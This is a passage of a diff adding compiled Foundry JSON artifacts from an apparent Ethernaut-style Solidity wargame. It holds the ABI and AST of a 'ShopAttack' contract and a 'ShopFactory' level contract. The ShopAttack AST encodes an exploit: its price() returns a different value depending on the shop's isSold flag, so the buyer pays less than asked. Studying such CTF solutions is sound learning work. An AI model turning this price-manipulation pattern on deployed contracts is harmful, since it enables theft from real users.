pfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"contract Shop","name":"_victim","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"attack"},{"inputs":[],"stateMutability":"view","type":"function","name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/ShopAttack.sol":"ShopAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/ShopAttack.sol":{"keccak256":"0xf2b179a07d508051858d64cefb99084b12abbc8b5e7c6960e288fc0394399c3f","urls":["bzz-raw://6814949dcfab56fbb10c65fd8423fe09805292b18421e66c92f2f5bee9db0068","dweb:/ipfs/Qmetff9RnpHx3gpvjW41Vt6WhyCrWS4J4LBB8pdzMrv2Ys"],"license":"MIT"},"src/levels/Shop.sol":{"keccak256":"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0","urls":["bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337","dweb:/ipfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/ShopAttack.sol","id":49805,"exportedSymbols":{"Buyer":[55043],"Shop":[55081],"ShopAttack":[49804]},"nodeType":"SourceUnit","src":"33:273:56","nodes":[{"id":49773,"nodeType":"PragmaDirective","src":"33:23:56","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49774,"nodeType":"ImportDirective","src":"58:28:56","nodes":[],"absolutePath":"src/levels/Shop.sol","file":"../levels/Shop.sol","nameLocation":"-1:-1:-1","scope":49805,"sourceUnit":55082,"symbolAliases":[],"unitAlias":""},{"id":49804,"nodeType":"ContractDefinition","src":"88:217:56","nodes":[{"id":49790,"nodeType":"FunctionDefinition","src":"114:108:56","nodes":[],"body":{"id":49789,"nodeType":"Block","src":"163:59:56","nodes":[],"statements":[{"expression":{"condition":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"expression":{"id":49780,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"185:3:56","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":49781,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"189:6:56","memberName":"sender","nodeType":"MemberAccess","src":"185:10:56","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49779,"name":"Shop","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55081,"src":"180:4:56","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Shop_$55081_$","typeString":"type(contract Shop)"}},"id":49782,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"180:16:56","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"id":49783,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"197:6:56","memberName":"isSold","nodeType":"MemberAccess","referencedDeclaration":55048,"src":"180:23:56","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_bool_$","typeString":"function () view external returns (bool)"}},"id":49784,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"180:25:56","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseExpression":{"hexValue":"313030","id":49786,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"212:3:56","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"},"id":49787,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"Conditional","src":"180:35:56","trueExpression":{"hexValue":"31","id":49785,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"208:1:56","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"functionReturnParameters":49778,"id":49788,"nodeType":"Return","src":"173:42:56"}]},"functionSelector":"a035b1fe","implemented":true,"kind":"function","modifiers":[],"name":"price","nameLocation":"123:5:56","parameters":{"id":49775,"nodeType":"ParameterList","parameters":[],"src":"128:2:56"},"returnParameters":{"id":49778,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49777,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49790,"src":"154:7:56","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49776,"name":"uint256","nodeType":"ElementaryTypeName","src":"154:7:56","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"153:9:56"},"scope":49804,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":49803,"nodeType":"FunctionDefinition","src":"228:75:56","nodes":[],"body":{"id":49802,"nodeType":"Block","src":"267:36:56","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":49797,"name":"_victim","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49793,"src":"282:7:56","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}],"id":49796,"name":"Shop","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55081,"src":"277:4:56","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Shop_$55081_$","typeString":"type(contract Shop)"}},"id":49798,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"277:13:56","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"id":49799,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"291:3:56","memberName":"buy","nodeType":"MemberAccess","referencedDeclaration":55080,"src":"277:17:56","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":49800,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"277:19:56","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49801,"nodeType":"ExpressionStatement","src":"277:19:56"}]},"functionSelector":"d018db3e","implemented":true,"kind":"function","modifiers":[],"name":"attack","nameLocation":"237:6:56","parameters":{"id":49794,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49793,"mutability":"mutable","name":"_victim","nameLocation":"249:7:56","nodeType":"VariableDeclaration","scope":49803,"src":"244:12:56","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"},"typeName":{"id":49792,"nodeType":"UserDefinedTypeName","pathNode":{"id":49791,"name":"Shop","nameLocations":["244:4:56"],"nodeType":"IdentifierPath","referencedDeclaration":55081,"src":"244:4:56"},"referencedDeclaration":55081,"src":"244:4:56","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"visibility":"internal"}],"src":"243:14:56"},"returnParameters":{"id":49795,"nodeType":"ParameterList","parameters":[],"src":"267:0:56"},"scope":49804,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"ShopAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49804],"name":"ShopAttack","nameLocation":"97:10:56","scope":49805,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":56} \ No newline at end of file diff --git a/contracts/out/ShopFactory.sol/ShopFactory.json b/contracts/out/ShopFactory.sol/ShopFactory.json new file mode 100644 index 000000000..238cf8672 --- /dev/null +++ b/contracts/out/ShopFactory.sol/ShopFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6105f58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610334565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610356565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610334565b6101be565b610114610253565b61011d5f6102ac565b565b5f8060405161012d90610313565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f808390506064816001600160a01b031663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610191573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b5919061038d565b10949350505050565b6101c6610253565b6001600160a01b0381166102475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610250816102ac565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023e565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61021b806103a583390190565b6001600160a01b0381168114610250575f80fd5b5f60208284031215610344575f80fd5b813561034f81610320565b9392505050565b5f8060408385031215610367575f80fd5b823561037281610320565b9150602083013561038281610320565b809150509250929050565b5f6020828403121561039d575f80fd5b505191905056fe608060405260645f55348015610013575f80fd5b506101fa806100215f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c8063a035b1fe14610043578063a6f2ae3a1461005e578063e852e74114610068575b5f80fd5b61004b5f5481565b6040519081526020015b60405180910390f35b610066610085565b005b6001546100759060ff1681565b6040519015158152602001610055565b5f3390505f548173ffffffffffffffffffffffffffffffffffffffff1663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f891906101ad565b10158015610109575060015460ff16155b156101aa576001805460ff191681179055604080517fa035b1fe000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff83169163a035b1fe9160048083019260209291908290030181865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906101ad565b5f555b50565b5f602082840312156101bd575f80fd5b505191905056fea26469706673582212200a97880151165a17e1fcee7bfad4772e4bf9497c4fd3dd9e214ae1521abb642364736f6c63430008180033a26469706673582212205891416e2127f5b3ccf1a2358a2c07c284c8fab87d4c7168a9903d6e7cdc651864736f6c63430008180033","sourceMap":"107:394:107:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;107:394:107;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;107:394:107:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610334565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610356565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610334565b6101be565b610114610253565b61011d5f6102ac565b565b5f8060405161012d90610313565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f808390506064816001600160a01b031663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610191573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101b5919061038d565b10949350505050565b6101c6610253565b6001600160a01b0381166102475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610250816102ac565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161023e565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61021b806103a583390190565b6001600160a01b0381168114610250575f80fd5b5f60208284031215610344575f80fd5b813561034f81610320565b9392505050565b5f8060408385031215610367575f80fd5b823561037281610320565b9150602083013561038281610320565b809150509250929050565b5f6020828403121561039d575f80fd5b505191905056fe608060405260645f55348015610013575f80fd5b506101fa806100215f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c8063a035b1fe14610043578063a6f2ae3a1461005e578063e852e74114610068575b5f80fd5b61004b5f5481565b6040519081526020015b60405180910390f35b610066610085565b005b6001546100759060ff1681565b6040519015158152602001610055565b5f3390505f548173ffffffffffffffffffffffffffffffffffffffff1663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f891906101ad565b10158015610109575060015460ff16155b156101aa576001805460ff191681179055604080517fa035b1fe000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff83169163a035b1fe9160048083019260209291908290030181865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906101ad565b5f555b50565b5f602082840312156101bd575f80fd5b505191905056fea26469706673582212200a97880151165a17e1fcee7bfad4772e4bf9497c4fd3dd9e214ae1521abb642364736f6c63430008180033a26469706673582212205891416e2127f5b3ccf1a2358a2c07c284c8fab87d4c7168a9903d6e7cdc651864736f6c63430008180033","sourceMap":"107:394:107:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;143:171:107;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;143:171:107;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;320:179:107;;;;;;;;;;-1:-1:-1;320:179:107;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;320:179:107;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;143:171:107:-;217:7;253:10;266;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;253:23:107;143:171;-1:-1:-1;;;143:171:107:o;320:179::-;412:4;428:10;446:9;428:28;;489:3;473:5;-1:-1:-1;;;;;473:11:107;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:19;;320:179;-1:-1:-1;;;;320:179:107:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1640:2:155;2161:73:23::1;::::0;::::1;1622:21:155::0;1679:2;1659:18;;;1652:30;1718:34;1698:18;;;1691:62;1789:8;1769:18;;;1762:36;1815:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2047:2:155;1414:68:23;;;2029:21:155;;;2066:18;;;2059:30;2125:34;2105:18;;;2098:62;2177:18;;1414:68:23;1845:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:184::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;-1:-1:-1;1411:16:155;;1249:184;-1:-1:-1;1249:184:155:o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/ShopFactory.sol\":\"ShopFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Shop.sol\":{\"keccak256\":\"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337\",\"dweb:/ipfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB\"]},\"src/levels/ShopFactory.sol\":{\"keccak256\":\"0x37c5a01016de624ea2590933c25a66c10166f2e81c289254da02f8f4c27eb412\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2b0624ff20a79be37544ee2bd9aef94ce8df9fed16059a43bb6504a8176dad29\",\"dweb:/ipfs/Qma6iS87VETpgmQxUSiDukaiWeXpXzCvWrsbV6QT8Jm6WG\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/ShopFactory.sol":"ShopFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Shop.sol":{"keccak256":"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0","urls":["bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337","dweb:/ipfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB"],"license":"MIT"},"src/levels/ShopFactory.sol":{"keccak256":"0x37c5a01016de624ea2590933c25a66c10166f2e81c289254da02f8f4c27eb412","urls":["bzz-raw://2b0624ff20a79be37544ee2bd9aef94ce8df9fed16059a43bb6504a8176dad29","dweb:/ipfs/Qma6iS87VETpgmQxUSiDukaiWeXpXzCvWrsbV6QT8Jm6WG"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/ShopFactory.sol","id":55137,"exportedSymbols":{"Buyer":[55043],"Context":[48281],"Level":[55508],"Ownable":[46700],"Shop":[55081],"ShopFactory":[55136]},"nodeType":"SourceUnit","src":"33:469:107","nodes":[{"id":55083,"nodeType":"PragmaDirective","src":"33:23:107","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55084,"nodeType":"ImportDirective","src":"58:26:107","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":55137,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":55085,